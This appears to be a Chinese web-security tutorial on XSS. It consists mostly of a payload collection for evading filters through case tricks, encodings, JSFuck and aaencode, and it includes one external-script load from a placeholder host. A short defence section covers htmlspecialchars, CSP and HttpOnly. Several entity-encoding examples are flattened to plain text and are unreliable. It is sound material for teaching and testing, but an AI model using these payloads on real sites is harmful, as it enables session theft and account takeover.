XSS 简介
XSS(Cross Site Scripting,跨站脚本攻击)是一类特殊的 Web 客户端脚本注入攻击手段,通 常指攻击者通过“HTML 注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制 浏览器的一种攻击。
当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义, 或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动 态内容,就会导致存在跨站脚本漏洞。
按照“数据是否保存在服务器”,XSS 被分为:反射型 XSS 和存储型 XSS。
XSS fuzz
1 | <img src=1 onerror=alert(1);> |
思路:闭合html的标签,使得浏览器弹窗。
常用html标签
1 | <a> |
可用事件
1 | onload |
XSS测试
基本测试流程
首先弹窗
- 单独标签
1 | <script>alert(1)</script> |
作为属性输入
1
2"><svg/onload=alert(1)//
" onclick="confirm(1)" "
尝试引入外部javascript
1 | “><script src=http://www.xxx.com/ec.js></script> |
javascript支持src/href/action/xlink:href/autofocus/content/data
XSS绕过
引号绕过
单引号
'
被禁用双引号"
,来回替换用斜杠
/
替换引号
1 | alert(/xss/) |
单双引号都被禁,不用引号
1
<input onfocus=alert(1)>
反引号
1 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
关键词绕过
替换关键字
1
2
3alert
confirm
prompt分割关键词
此处特殊字符用url编码代替
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#空白字符形式
alert%20(/xss/)
#回车换行
alert%0a(/xss/)
alert%0d(/xss/)
#缩进
alert%09(/xss/)
#注释
alert/*abcd*/(/xss/)
#注释换行
alert//abcd%0a(/xss/)
alert//abcd%0d(/xss/)
#括号分割
(alert)(/xss/)
((alert))(/xss/)window和top调用
1
2
3
4
5
6
7
8
9
10window.alert(0)
window['al'+'ert'](0)
top['al'+'ert'](0)
top.alert(0)
#用法
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>动态调用
1
2
3
4
5
6
7<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>异常处理
1
2<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">eval执行js
1
<svg/onload=eval('ale'+'rt(1)')>
关键字拼接
1
2
3
4
5<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>eval结合编码
1
2
3<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>大小写绕过
1
<sCriPt>alert(1);</scRiPt>
双写绕过
针对服务器删除敏感字符的过滤
1
<sCrsCriPtiPt>alert(1);</scRsCriPtiPt>
关键词绕过之编码绕过
html编码绕过
1
<iframe src=javascript:alert(1)>
十进制html编码
1
<iframe src=javascript:alert(1)>
十六进制html编码
1
<iframe src=javascript:alert(1)>
不带分号形式
1
<iframe src=javascript:alert(1)>
填充0的形式
1
<iframe src=javascript:alert(1)>
部分关键字绕过
1
2
3
4
5
6<iframe src=javas	cript:alert(1)></iframe> //Tab
<iframe src=javas
cript:alert(1)></iframe> //回车
<iframe src=javas
cript:alert(1)></iframe> //换行
<iframe src=javascript:alert(1)></iframe> //编码冒号
<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href=javas	cript:alert(1)>url编码
1
2<a href="{here}">xx</a>
<iframe src="{here}">在src和href中可以进行URL编码,但是
javascript:
不能进行URL编码1
2<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>二次URL编码
1
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
结合16进制html编码
1
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
Unicode编码
普通编码
1
2<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>八进制及十六进制
1
2
3
4
5
6<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>eval("\141\154\145\162\164\050\061\051")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>Base64编码绕过
1
2<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>利用atob函数
1
2
3<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>String.fromCharCode
这个方法用于将unicode转换为字符串
1
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
字符串转ascii脚本
1
2
3
4
5def to_ascii(text):
ascii_values = [ord(character) for character in text]
return ascii_values
text = "alert(1)"
print(str(to_ascii(text)))unicode+url+html
Unicode编码
1
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
URL编码
1
<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
HTML编码
1
<a href=javascript:alert(1)>Click</a>
编码顺序:Unicode=>URL->HTML
1
2
3
4
5
6
7# Unicode
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
# Unicode+URL
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
# Unicode+URL+HTML
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>jsfuck
1
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>
aaencode
1
<script>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</script>
空格绕过
注释
1
2
3
4
5
6
7
8
9/**/
/=><svg/onload=alert(1)>
<script>/*
*/alert/*
*/(document/*
*/.cookie)/*
*/</script>换行绕过
1
2
3%0d
%0a
%09CSP绕过
CSP绕过
XSS防护
PHP提供了两个函数
htmlentities()
和htmlspecialchars()
,把一些预定义的字符转换为 HTML 实体。
防御代码示例:1
2
3
echo htmlspecialchars($_REQUEST[ 'id' ]);其它的通用的补充性防御手段
1
2
3
4
5
6
7
8
91.在输出html时,加上Content Security Policy的Http Header
(作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
(缺陷:IE或低版本的浏览器可能不支持)
2.在设置Cookie时,加上HttpOnly参数
(作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)
(缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)
3.在开发API时,检验请求的Referer参数
(作用:可以在一定程度上防止CSRF攻击)
(缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)防护备忘录